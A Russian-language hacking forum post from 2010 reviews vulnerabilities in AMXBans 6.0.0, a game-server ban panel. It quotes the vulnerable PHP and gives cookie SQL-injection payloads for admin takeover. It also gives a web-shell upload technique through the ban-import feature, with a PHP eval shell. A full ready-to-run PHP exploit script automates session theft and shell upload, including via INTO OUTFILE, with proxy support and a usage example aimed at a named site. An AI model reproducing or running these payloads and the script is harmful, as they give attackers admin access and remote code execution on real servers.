Показать сообщение отдельно
Старый 06.07.2010, 20:14   #3
m0Hze
 
Аватар для m0Hze
 
Регистрация: 05.07.2010
Сообщений: 326
Репутация: 129
По умолчанию Обзор уязвимостей AMXBANS

Версия: 6.0.0
Дата релиза: 21.05.10


Получение прав администратора

[Зависимости: нет]

File: /include/access.inc.php

PHP код:
session_start(); 
require_once(
"config.inc.php"); 

function 
has_access($value) { 
    if(
$_SESSION["loggedin"]) { 
        return 
$_SESSION[$value]; 
    } 
    return 
0

if(!
$_SESSION["lang"]) echo "NO!"
if(isset(
$_COOKIE[$config->cookie]) && $_SESSION["loggedin"]==false) { 
         
        
$cook explode(":"$_COOKIE[$config->cookie]); 
            
        
$sid $cook[0]; 
         
     
        
$mysql mysql_connect($config->db_host,$config->db_user,$config->db_pass) or die (mysql_error()); 
        
$resource mysql_select_db($config->db_db) or die (mysql_error()); 
        
$query mysql_query("SELECT id,username,level,email FROM `".$config->db_prefix."_webadmins` WHERE logcode='".$sid."' LIMIT 1") or die (mysql_error()); 
        if(
mysql_num_rows($query)) { 
            while(
$result mysql_fetch_object($query)) { 
                echo 
$_SESSION["uid"]=$result->id
                echo 
$_SESSION["uname"]=$result->username
                
$_SESSION["email"]=$result->email
                echo 
$_SESSION["level"]=$result->level
                
$_SESSION["sid"]=session_id(); 
                
$_SESSION["loggedin"]=true
            } 
            
$query mysql_query("SELECT * FROM `".$config->db_prefix."_levels` WHERE level=".$_SESSION["level"]." LIMIT 1") or die (mysql_error()); 
            while(
$result mysql_fetch_object($query)) { 
                
$_SESSION['bans_add'] = $result->bans_add
                
$_SESSION['bans_edit'] = $result->bans_edit
                
$_SESSION['bans_delete'] = $result->bans_delete
                
$_SESSION['bans_unban'] = $result->bans_unban
                
$_SESSION['bans_import'] = $result->bans_import
                
$_SESSION['bans_export'] = $result->bans_export
                
$_SESSION['amxadmins_view'] = $result->amxadmins_view
                
$_SESSION['amxadmins_edit'] = $result->amxadmins_edit
                
$_SESSION['webadmins_view'] = $result->webadmins_view
                
$_SESSION['webadmins_edit'] = $result->webadmins_edit
                
$_SESSION['websettings_view'] = $result->websettings_view
                
$_SESSION['websettings_edit'] = $result->websettings_edit
                
$_SESSION['permissions_edit'] = $result->permissions_edit
                
$_SESSION['prune_db'] = $result->prune_db
                
$_SESSION['servers_edit'] = $result->servers_edit
                
$_SESSION['ip_view'] = $result->ip_view
            } 
        } 
Как видим, никак не проверяется параметр COOKIE, выполняется запрос к БД, в ходе которого мы получаем в сессии данные админа/етц. $config->cookie в 99% случаев расна дефолтному: amxbans. Разделение идет через ":", из чего строим простой запрос:

Target: /include/access.inc.php

Передаем в Cookies:
Код:
Cookie: amxbans=' or id=1+union+select+1,2,1,4 -- 1
Передать нужно именно эти данные, именно в таком порядке.Переходим на индекс - мы админы.

+ Данные админов можно читать, шлем запрос с ид нужного админа, получаем его данные в бд, и далее идем на страницу любого бана, и пытаемся отписать комментарий( включить в админке) - в поле E-mail Вывод. так же вывод в правом верхнем углу экрана, рядом с кнопкой админки.
+ Уязвимость будет существовать даже при MQ=on, так как в config.php(который подрубается в таргете):

PHP код:
function stripslashes_recursive($var) { 
    return (
is_array($var) ? array_map('stripslashes_recursive'$var) : stripslashes($var)); 

if (
get_magic_quotes_gpc()) { 
    
$_GET stripslashes_recursive($_GET); 
    
$_POST stripslashes_recursive($_POST); 
    
$_COOKIE stripslashes_recursive($_COOKIE); 

PHPinfo

File: /extras/phpinfo.php

Плюшка от дефелоперов, просто переходим по ссылке.

Заливка шела

File: include/modules/modul_iexport.php

PHP код:
 if(isset($_POST["bancfgupl"])) { 
    
    
$reason=mysql_real_escape_string($_POST["reason"]); 
    
$plnick=mysql_real_escape_string($_POST["player_nick"]); 
    
$server=mysql_real_escape_string($_POST["server_name"]); 
    
$date=explode("-",trim($_POST["ban_created"])); 
     
    if(
$reason=="" || $plnick=="" || $server=="" || $date=="" || sizeof($date)!=3) { 
        
$user_msg="_NOREQUIREDFIELDS"
    } else { 
        
$date=(int)strtotime($date[2].$date[1].$date[0]); 
        
$file=mysql_real_escape_string($_FILES['filename']['name']); 
        
$types=array("cfg","txt"); 
         
        if(
$file=="") { 
            
$user_msg="_FILENOFILE"
        } else { 
            
$file_type=substr(strrchr($file'.'),1);  
            if(!
in_array($file_type,$types)) $user_msg="_FILETYPENOTALLOWED"
        } 
        if(
$_FILES['filename']['size'] >= ($config->max_file_size*1024*1024)) $user_msg="_FILETOBIG"
        if(!
$user_msg) { 
           
            if(!
move_uploaded_file($_FILES['filename']['tmp_name'], "temp/".$file)) { 
                
$user_msg="_FILEUPLOADFAIL"
            } else { 
.... 

                
fclose($handle); 
                
//del temp file 
                
unlink("temp/".$file); 
                
$smarty->assign("status",$status); 
            } 
Загрузка файлов есть, но после загрузки и занесения значений в БД, файл удаляется.И файл заливается только с расширениями .cfg or .txt Внимательно присмотревшись к коду, находим строчки:

PHP код:
 if(trim($bans[0])=="banid") { 
                        
//ban with steamid 
                         
                        
if(!preg_match("/^STEAM_0:(0|1):[0-9]{1,18}/",$steamid)) { $status["failed"]++; continue;} 
                        
//search for a already existing permanent ban 
                                                 
                        
$query mysql_query("SELECT `player_id` FROM `".$config->db_prefix."_bans` WHERE `player_id`='".$steamid."' AND `expired`=0") or die (mysql_error()); 
                        if(
mysql_num_rows($query)) {$status["failed"]++; continue;} 
                         
                        
//write ban to db 
                        
$status["imported"]++; 
                        
$query mysql_query("INSERT INTO `".$config->db_prefix."_bans`  
                            (`player_id`,`player_nick`,`admin_nick`,`ban_type`  ,`ban_reason`,`ban_created`,`ban_length`,`server_n  ame`,`imported`)  
                            VALUES  
                            ('"
.$steamid."','".$plnick."','".$_SESSION["uname"]."','S','".$reason_real."',".$date.",".$time.",'".$server."',1) 
                            "
) or die (mysql_error()); 
Как видим, если условие if выполняется верно, то производиться SQL-запрос, в котором используется ничем не фильтруемая переменная _SESSION[uname], которую мы можем произвольно изменять. Возвращаемся к получению админских прав, и посылаем заместо старого запроса, немного модернизированный:

Код:
Cookie: amxbans=' or id=1+union+select+1,0x27,1,4 -- 1
Именно 2 поле является значением _SESSION[uname], мы запхиываем туда захексеную кавычку, ибо переменная _SESSION в отличии от остальных HTTP переменных не стипслешиться принудительно. Получаем при любых настрйоках сервера, в uname='
Следующим шагом, необходимо выполнить условие в if, что бы наша переменная встала в запрос, ивызвала критичискую ошибку. Код шелла будет выглядеться примерно так:

Код:
banid blabla STEAM_0:0:1111 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
<?php eval(stripslashes($_GET[c])); ?>
Первая строка шелла так-же проходит preg_match() проверку, и уже после этого, наша ядовитая переменная [uname]=' попадает в SQL запрос, вызывая ошибку кода, соответственно, код который удаляет файл после работы - не выполниться, и мы получим полный код своего шелла в файле, с тем же именем, что и при загрузке.
Минус соответственно в том, что не все серверы настроены таким образом, что бы отбрасывать неизвестное расширение, и воспроизводить последнее известное. Не помню как этот мод называется, мод_mime, или как то так.
В случае загрузки шелла через скулю, мы получаем полноценный шелл, но мало где у юзверей mysql есть права на работу с ФС.

Эксплойт

PHP код:
<?php 

/** 
 * @author m0hze 
 * @copyright 2010 
 */ 
set_time_limit(0); 
//error_reporting(0); 

#Exp. for AMX BANS 6.0.0# 
function echoMan() 

    echo 
"+---------------------------------------------------------------------------+\r\n"
    echo 
"|--------------------------AUS for AMXBans 6.0.0----------------------------|\r\n"
    echo 
"|----------Type: 1) Upload via SQL-inj(!need file_priv=Y)-------------------|\r\n"
    echo 
"|----------Type: 2) Upload via Import ListBan(!need magic_quote=OFF)--------|\r\n"
    echo 
"|-----------------------------------How to use:-----------------------------|\r\n"
    echo 
"|------->php exp.php http://host/path [type(0 or 1 or 2)] [path_to_shell]---|\r\n\r\n"
    echo 
"|---------------------------------------Example:----------------------------|\r\n\r\n"
    echo 
"|------------>php exp.php http://exploit.com/bans 2 D:/shellcode.php--------|\r\n"
    echo 
"|------------------------ by m0Hze for Antichat.ru 2010 --------------------|\r\n"
    echo 
"+---------------------------------------------------------------------------+"

/** 
 * @Socks 
 * */ 
  
$s=false
$v=false
/** 
 * @EndSocks 
 */ 
if ($argv[1] != '') { 
    list(, 
$host$type$path) = $argv
    
$path addslashes($path); 
    
$type = (int) trim($type); 
    if(
$type == 1){ 
        
AUviaSQL(); 
    }elseif(
$type == 2){ 
        
AUviaImport(); 
    }else{ 
        
GetAminData(); 
    } 
}else{ 
    
echoMan(); 

function 
AUviaImport() 

    global 
$host,$path
    
$cookie "amxbans=' or id=1+union+select+1,0x27,1,4 -- 1"
    
$page curl($host '/include/access.inc.php'falsefalsefalse$cookie); 
    
preg_match('#PHPSESSID=(.*?);#'$page$match); 
    
$post = array('bancfgupl' => 1'reason' => 'cheat''player_nick' => 
        
'adminnick''server_name' => 'SuperServer''ban_created' => '11-06-2010'
        
'filename' => '@' $path); 

    
$upload curl($host '/admin.php?modul=iexport'$s,$v$post$match[0]); 
    if (
stristr($upload'You have an error')) { 
        return(die(
"\r\nYou shell: " $host "/temp/" basename($path))); 
    }else{ 
        return(die(
"\r\nI think, MQ=ON. Good bye.")); 
    } 

function 
AUviaSQL(){ 
    global 
$host,$path
    
$get curl($host.'/login.php',$s,$v,'user[]=&pass[]=&action=Login'); 
    
preg_match('#given in (.*?) on#',$get,$match); 
    
$path str_replace(array('\\\\','//'),'',str_replace(array('include','functions.inc.p  hp'),'',strip_tags(trim($match[1])))).'/include/files/'.md5(rand(1,100)).'_1.php'
    
$cookie "amxbans=' or id=1+union+select+1,unhex(0x3c3f706870206576616c28  7374726970736c617368657328245f524551554553545b7065  775d29293b203f3e),1,4 into outfile '$path' -- 3"
    
$page curl($host '/include/access.inc.php'$s,$vfalse$cookie); 
    if(
stristr($page,"mysql_num_rows")){ 
        return(die(
"\r\nYou shell uploaded! Get: $path?pew=system('dir');")); 
    }elseif(
stristr($page,"Can't")){ 
        return(die(
"\r\nPermission Denied :( May be file_priv=Y")); 
    }else{ 
        return(die(
"\r\nWtf?! Error")); 
    } 

function 
GetAminData(){ 
    global 
$host
    
$cookie "amxbans=' or id=1+union+select+1,2,1,4 -- 1"
    
$page curl($host '/include/access.inc.php'$s,$vfalse$cookie); 
    
preg_match('#PHPSESSID=(.*?);#'$page$match); 
    return(die(
"\r\nOk! Session: ".$match[0])); 

function 
curl($url$socks false$version 5$post false$cookie false

    
$ch curl_init(); // инициализируем Curl 
    
curl_setopt($chCURLOPT_URL$url); // открываемая страница 
    
curl_setopt($chCURLOPT_TIMEOUT20); 
    
curl_setopt($chCURLOPT_HEADER1); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); // вернуть ответ сервера в переменную, а не выводить 

    // Работа через прокси 
    
if ($socks) { 
        
curl_setopt($chCURLOPT_PROXYTYPE, ($version CURLPROXY_SOCKS5 
            
CURLPROXY_SOCKS4)); 
        
curl_setopt($chCURLOPT_PROXY$socks); 
    } 
    if (
$post) { 
        
curl_setopt($chCURLOPT_POST1); 
        
curl_setopt($chCURLOPT_POSTFIELDS$post); 
    } 
    if (
$cookie) { 
        
curl_setopt($chCURLOPT_COOKIE$cookie); 
    } 
    
$page curl_exec($ch); 
    
curl_close($ch); 
    return (
$page); 


?>
Первый - Получение админских прав, и вывод сессии юзера. Если вам просто нужно попасть в админку, подставляем полученное значение в куки.
Второй - загрузка шелла через SQL-inj, если позволяют права юзера mysql(file_priv=Y). Сама определяет полный путь до DOCUMENT_ROOT, и пытается загрузить шелл в папку с юзерскими файлами.
Третий - загрузка шелла описанным выше способом, через импорт банов. В конце работы выводит ссылку на шелл.
Exm:
>php exp.php http://gm-project.net/bans/ 2 D:/shell.php.cfg

Сокс-прокси версии 4/5 определяется прямо в коде.
__________________
multi-vpn.biz - Первый VPN на Эллиптических кривых со скоростью света.
m0Hze вне форума   Ответить с цитированием